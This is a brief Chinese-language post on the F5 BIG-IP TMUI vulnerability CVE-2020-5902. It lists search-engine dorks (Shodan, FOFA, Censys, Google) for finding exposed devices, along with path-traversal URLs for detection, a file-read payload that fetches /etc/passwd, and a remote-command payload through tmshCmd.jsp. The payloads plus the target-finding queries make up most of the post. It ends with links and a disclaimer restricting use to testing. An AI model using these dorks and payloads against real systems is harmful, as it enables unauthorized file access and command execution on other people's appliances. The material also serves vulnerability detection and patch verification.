BIG IP CVE-2020-5902 漏洞检测和利用

7月1日,F5发布公告,其流量管理用户接口(Traffic Management User Interface ,简称TMUI),也称为配置实用程序(Configuration utility)。该系统存在一处RCE漏洞。CVE编号为CVE-2020-5902。

搜索目标:

注:请将下面的%26替换为&。

shodan
http.favicon.hash:-335242539

http.title:"BIG-IP%26reg;- Redirect"

fofa
title="BIG-IP%26reg;- Redirect"

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

443.https.get.title:"BIG-IP%26reg;- Redirect"

google
inurl:"tmui/login.jsp"

intitle:"BIG-IP" inurl:"tmui"

漏洞检测

/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=a

漏洞利用

文件读取

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

RCE

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin (没测试成功)

相关内容可以看其他地址的总结:
http://www.svenbeast.com/post/cve-2020-5902-big-ip-rce-rao-guo-tmsh-xian-zhi-ming-ling-zhi-xing-andexp-bian/

https://github.com/jas502n/CVE-2020-5902

以上漏洞poc来自网络,请勿用于非法攻击。仅用于安全测试和自身安全检测。否则造成的一切后果自负,且与本人无关。

\